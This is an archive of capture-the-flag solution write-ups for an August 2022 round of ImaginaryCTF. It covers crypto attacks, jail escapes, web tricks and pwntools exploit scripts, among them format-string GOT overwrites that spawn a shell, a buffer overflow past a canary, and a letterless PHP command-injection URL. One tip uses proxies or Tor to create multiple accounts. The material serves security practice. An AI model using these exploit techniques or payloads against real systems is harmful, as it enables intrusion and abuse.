Archived Challenges - August 2022

ictf{w3lcome_to_round_25!}

from math import *
print(f"ictf{{{round(cos(42),6)}}}")

ictf{-0.399985}

I wanted to do something with Taylor series and Newton's method, but why do that when the work's all done for you:

from mpmath import mp
mp.dps = 100
print(f"ictf{{{str(mp.cos(42))}}}")

https://stackoverflow.com/questions/45169675/python-calculate-sine-cosine-with-a-precision-of-up-to-1-million-digits

ictf{-0.3999853149883512939547073371772020283804228791424190606167446601513424425835587794388549191368621883}

from pwn import *
from time import sleep, time
from Crypto.Util.number import long_to_bytes

# p = process(['python3', '-u', './server.py'])
p = remote("puzzler7.imaginaryctf.org", 4001)

p.sendline()

bits = ''

last_time = time()
try:
    while True:
        p.recvuntil(b'\x07')
        elapsed = time() - last_time
        last_time = time()
        if bits == '':
            elapsed += 1
        print(elapsed)
        bits += '0'*(round(elapsed)-1) + '1'
        print(bits)
except EOFError:
    pass

print(long_to_bytes(int(bits, 2)))```

Every second, the remote either sends a bell (`\x07`) or it doesn't. Sending a bell is a 1, and not sending it is a zero. Combined, this makes the binary of the flag.

ictf{s@ved_by_th3_x07}

(*_("\146\154\141\147\056\164\170\164"),)

You can use open, because it's imported as _. However, you can't call read, because read has letters. You can bypass this because file objects are iterators over the lines of the file. Using * to iterate over the file and cast the result to the tuple yields the flag.

ictf{reading_is_hard_when_l3++3rs_dont_exist}

#!/usr/bin/env python3

from pwn import *
import re

# p = process(['python3', './server.py'])
p = remote("puzzler7.imaginaryctf.org", 4006)

rx = re.compile(r"[0-9]{5} . [0-9]{5}", re.M)

for i in range(100):
    inp = ''.join(chr(i) for i in p.recvuntil(">>> "))
    # print(inp)
    eq = rx.search(inp)[0]
    print(eq)
    print(i)
    print(str(eval(eq)))
    p.sendline(str(eval(eq)))

print(p.recvall())

You can receive all of the input for each question, and simply use regex to find the equation.

ictf{congrats_you've_conquered_the_blackboard...for_now...}

/b??/?c?? ??????????????????????
/b??/c?? ??????????????????????

Once you connect to the server, you get the source code. Reading it, we can see we are allowed to use only the characters /bc? . So, we start playing around with bash, we see that ? is very helpful(/b?? == /bin). We can use (/b??/?c?? == /bin/echo) and then use ? for flag file(for example /b??/?c?? ??????? will print the file name jail.py(because of the length) hence /b??/?c?? ?????????????????????? will print the file name (ictf{bre4k1ng_7he_j41l) and then to read it do the same method but except for echo use cat (/b??/c??) and you'll get the flag.

ictf{bre4k1ng_7he_j41l_like_4_b0ss!}

The general strategy here is to save up ~10 rooCash, and then buy the flag when it gets to that price. You can use proxies, Tor, or just signing in on a different device (e.g. your phone) to creaste multiple accounts, making this much easier.

ictf{purchased_with_blood_sweat_and_t3ars}

You could write a giant handler for all the different escape codes, and parse out the true text ... or you could use a terminal emulator to do that for you. From there, walking through the output diagonally and doing a regex search can get you the equation.

https://imaginaryctf.org/f/vKdga#solve.py - solution with custom handler by TheBadGod https://imaginaryctf.org/f/9FEn6#x.py - solution using terminal emulator by puzzler7

ictf{now_y0u_have_become_the_terminal}

There's unicode characters that change the direction of the flag in there. Also, there are unicode characters that don't really do anything. Remove them to get the flag. cat flag.txt | grep -o '[a-z_\{\}0-9]' | tr -d '\n'

ictf{un1c0de_m4g1c_nahsdfoasihdfasohdfoiashdfjkadshfljadsfhdsklahflkhjdafs}

7z x chall.zip -p"`echo ng3pV1YIws4l91Ai04m3IMVa2kg= | base64 -d`"

Because the password is too long, it gets SHA1 hashed before use, making the hash a valid password.

https://www.bleepingcomputer.com/news/security/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why/

ictf{fastest_hash_cracking_gun_in_the_w3st}

Because n is so large and e is so small, m**e only wraps around a few times. Brute forcing this will return the flag.

from gmpy2 import iroot
from Crypto.Util.number import *

exec(open('out.txt').read())

while True:
    m, _ = iroot(c, 31)
    if b'ictf{' in long_to_bytes(m):
        print(long_to_bytes(m))
        break
    c += n```

ictf{d0nt_f0rget_t0_pad_y0ur_pl@intexts!}

from pwn import *
from Crypto.Util.number import *

# p = process(['python3', 'enc.py'])
p = remote("puzzler7.imaginaryctf.org", 4002)
p.sendline(long_to_bytes(4213973159))
p.recvuntil(b'c = ')
print(long_to_bytes(int(p.recvline().strip())))```

The program seeds itself off of your input, so with the right input, you can make getrandbits return zero, making e = 1. To do this, you could almost certainly be clever and analyze the Mersenne Twister and figure out the right seed ... or you could run a brute forcer overnight to find good seeds. I found two such seeds - 4213973159 and 10000001027800207.

ictf{just_f0r_y0uuuuuuuu}

The key is obviously bruteforcable. Download rockyou.txt and bruteforce it:

>>> ciphertext = b"\xd6\x19O\xbeA\xb0\x15\x87\x0e\xc7\xc4\xc1\xe9h\xd8\xe6\xc6\x95\x82\xaa#\x91\xdb2l\xfa\xf7\xe1C\xb8\x11\x04\x82p\xe5\x9e\xb1\x0c*\xcc[('\x0f\xcc\xa7W\xff"
>>> for key in [k.strip().zfill(16) for k in open("rockyou.txt", "rb").readlines()[:10000]]:
...   cipher = AES.new(key, AES.MODE_ECB)
...   pt = cipher.decrypt(ciphertext)
...   if b"ictf{" in pt:
...     print(pt)
...
b'0000000000000000000ictf{d0nt_us3_w3ak_k3ys!!!!}\n'

ictf{d0nt_us3_w3ak_k3ys!!!!}

Common modulus attack on RSA. https://imaginaryctf.org/f/d5e2E#solve.py

ictf{n3ver_r3use_m0dul1}

from Crypto.Util.number import *

exec('\n'.join(list(open('vault.txt'))[2:]))

fac = {
    2:14,
    3:12,
    5:6,
    7:1,
    17:1,
    19:2,
    31:1,
    41:1,
    227:1,
    433:1,
    467:1,
    2309:1,
    5527:1,
    13591:1,
    36985379:1,
    259726127:1,
    481626029:1,
    701899711:1,
    927093907:1,
    1392514213:1,
    3492606209:1,
    127172501513:1,
    34926936182669:1,
    36411945668431:1,
    62634262995527:1,
}

diff = 95026205724

phi = 1
for key in fac:
    phi *= key**(2*fac[key]) * (key-1)

e = pow(71, diff, phi)

print(long_to_bytes(pow(c, e, n)))

You can get the factors of p-1 and q-1 with a site like Alpertron, as all of them are relatively small. You can then use that to calculate phi and figure out the effective exponent after raising the ciphertext to 71 that many times.

ictf{just_another_rsa_problem_in_disguise_:<}

The modulus is a square, so we can take easy discrete logs: g = sqrt(n) + 1, then look at the taylor expansion of g^x. With that, bruteforce the number of wraparounds of the modulus (sqrt(n)) we missed and solve a knapsack problem with a lattice/CJLOSS (or setup a better lattice than I did and integrate the modulus, if you can get it to work, I suppose, please let me know if you do manage to pull that off 😃).

https://imaginaryctf.org/f/BsA4M

ictf{all_discrete_logs_and_no_play_make_my_mapsack_a_knapsack}

You can overwrite the GOT of puts to become system, getting a shell because of the sh in the string that is printed. However, it catches the stdout, so you must first run sh 1>&2 to redirect everything to stderr. This lets you to cat flag.txt and get the flag.

from pwn import *
context.binary = elf = ELF("./vuln")
conn = elf.process()
conn = remote("got.ictf.kctf.cloud", 1337)
conn.sendline(fmtstr_payload(6, writes={elf.got.puts:elf.sym.system}))
conn.interactive()

You could also overwrite .fini_array with main(), leak libc, and call a one_gadget, but if you do that, you're boring.

ictf{f0rmat_strings_are_so_cool_tysm_rythm_for_introducing_me}

from pwn import *
from struct import pack, unpack

p = remote("puzzler7.imaginaryctf.org", 4004)

num = 24

p.recvuntil(b'?')
p.sendline(str(num).encode())

for i in range(17):
    # p.recvuntil(b'?')
    print(p.recv())
    num = '{:.64f}'.format(unpack('f', p32(21))[0])
    print(num)
    p.sendline(num.encode())

win = p64(0x401182)

p.sendline('{:.64f}'.format(unpack('f', win[:4])[0]))
p.sendline('{:.64f}'.format(unpack('f', win[4:])[0]))


p.interactive()

Trivial buffer overflow onto the stack, but the values being written are floats, not raw characters. To bypass this, you need to convert from bytes to a float value using the IEEE 754 standard (or just use python struct pack/unpack). Additionally, there's a manual canary being implemented to prevent the buffer overflow. Because the iteration variable is also on the stack, you can write to it to jump over the canary and directly to the return address.

ictf{it_wouldve_been_couldve_been_worse_than_you_would_ever_know}

from pwn import *

elf = context.binary = ELF('./pwn')
offset = 10
# io = gdb.debug([elf.path])
io = remote("puzzler7.imaginaryctf.org", 4010)
io.sendline(fmtstr_payload(offset, {elf.symbols.size:1337}))
io.sendline(b'A'*72 + pack(0x0000000000401016) + pack(elf.symbols.win))
# io.sendline(cyclic(200, n=8))
# io.wait()

# core = io.corefile

# print(cyclic_find(core.read(core.rsp, 8), n=8))
io.interactive()```

ictf{format_strings_challs_are_so_easy_when_you_get_pwntools_to_do_it_for_you}

%632c%26$hn send that to the connection, after 10ish tries you should get the flag

ictf{just_move_fini_smh_how_hard_can_it_be}

The javascript replaces the true flag with the fake flag, but viewing the source shows the actual flag.

ictf{gr333333333333333n_flags_are_g00d_tho}

The website uses history.pushState to modify the history - simply pressing the back button takes you to the flag.

ictf{it's_me_the_friend_you_made_along_the_way}

This was supposed to be a challenge based on https://blog.andrewcantino.com/blog/2019/01/27/why-security-expectations-matter-google-sheets-hidden-content/, but apparently Google fixed it?

In any case, the first cell on the first sheet is always shown in the source, so simply grepping for the flag gives the flag.

curl https://docs.google.com/spreadsheets/d/1ffGO9Y_KQbMv7_f00hFN4C-UFzYghPyk9Bk3Pq7dfmA/edit#gid=1335776287 | grep -oP ictf{.*?}

ictf{nothing_is_hidden_nothing_is_safe}

Next.js static rendering includes the page props in the response, view source!

curl 'https://what-next.ictf.iciaran.com/protected/flag'

ictf{sn34ky_st4t1c_g3n3r4t10n}

Use the variable $_ to store 'secret_function' as the result of the xor between two strings without letters or numbers, then call $_().

I solve it by executing the following in php:

php > echo $_="secret_function"^"_____/}=_@_/@@.";
,:<-:["[*.<[)/@

As you can see, these strings have no letters or numbers, and the inverse operation yields "secret_function".

php > echo $_=',:<-:["[*.<[)/@'^"_____/}=_@_/@@.";
secret_function

Then, just put it in the cmd GET variable to get the flag:

http://puzzler7.imaginaryctf.org:4011/?cmd=$_=%27,:%3C-:[%22[*.%3C[)/@%27^%22_____/}=@/@@.%22;$_();

ictf{th3r3_4r3_n0_l4ngu4g3_l1k3_Php}

#!/bin/python3
from pwn import *
import string
import time
keyLen = 29
binaryName = './chall'
context.log_level = 'ERROR'

flag = ''
t=time.time()
print("*"*keyLen)
for chars in range(keyLen):
    p = process("ltrace {binary} {brute} 2>&".format(binary=binaryName,brute=(flag + "*").ljust(keyLen, "*")).split())
    print("\nltrace {binary} {brute} 2>&1 | wc -c\n".format(binary=binaryName,brute=(flag + "*").ljust(keyLen, "*")))
    init_trace = len(p.recvall())
    # print(f"INIT_TRACE: {init_trace}")
    for i in string.printable:
        print("trying:", (flag + i).ljust(keyLen, "*"))
        p = process("ltrace {binary} {brute} 2>&".format(binary=binaryName,brute=(flag + i).ljust(keyLen, "*")).split())
        new_trace = len(p.recvall())
        # print(f"NEW_TRACE: {new_trace}")
        if new_trace != init_trace:
            flag += i
            break
print(time.time() - t, "seconds")
print(f"FLAG: {flag}")
#Reference:
#https://github.com/Adamkadaban/CTFs#reversing-byte-by-byte-checks-side-channel-attack

ictf{mov_S1d3_ChanN3l_Att4ck}

The binary uses a linear feedback shift register (LFSR) to generate "random" numbers. It checks a "random" character of the flag by xoring it against a character of the encrypted output and another "random" number. By reproducing the code, you can generate a list of "random" numbers and decode the flag from the encrypted output.

ictf{Im_reusing_this_PRNG_from_ictf21_just_because_LFSR_is_cool}

Solve script for converting to and from .dvi: https://imaginaryctf.org/f/j7oTh#x.py

The provided DVI files are essentially just the binary data that would be transferred on the pins of a DVI cable. The rough overview of decoding is as follows:

• For each pin, the pin number one lower than it is just the negative of it, and can be ignored.
• Each pin uses TMDS to encode data, reverse every 10 bits into one 8 bits number. There's a great writeup on TMDS here: https://docs.google.com/document/d/1v7AJK4cVG3uDJo_rn0X9vxMvBwXKBSL1VaJgiXgFo5A/edit#heading=h.s7e6dqkpk197
• The RGB data are encoded on pins (2, 10, 18), then (21, 5, 13) alternately. There are two control signals - one for end of line, and one for end of frame.

Concatenating the pixel data together yields a gif with one character of the flag on each frame.

ictf{variety_is_the_spice_of_life_but_video_is_the_spice_of_display}

Given two files(pngs) which are the key and cipher for a Visual Crypto'd image. Logical AND or XOR of the two files will produce the message png.

from PIL import Image, ImageChops
im1 = Image.open('Spy')
im2 = Image.open('Penguins')

immsg = ImageChops.logical_and(im1,im2)
immsg.show()
immsg.save("msg.png")

ictf{visual_crypto_is_neato}

The provided image has location and time metadata. You can google maps to find the approximate location of the plane by plugging in the coordinates, and then flightradar24's playback feature to find an airplane flying from Frankfurt to San Francisco on a Boeing 777-322 in the general vicinity of the coordinates

ictf{FRA_SFO_777-322}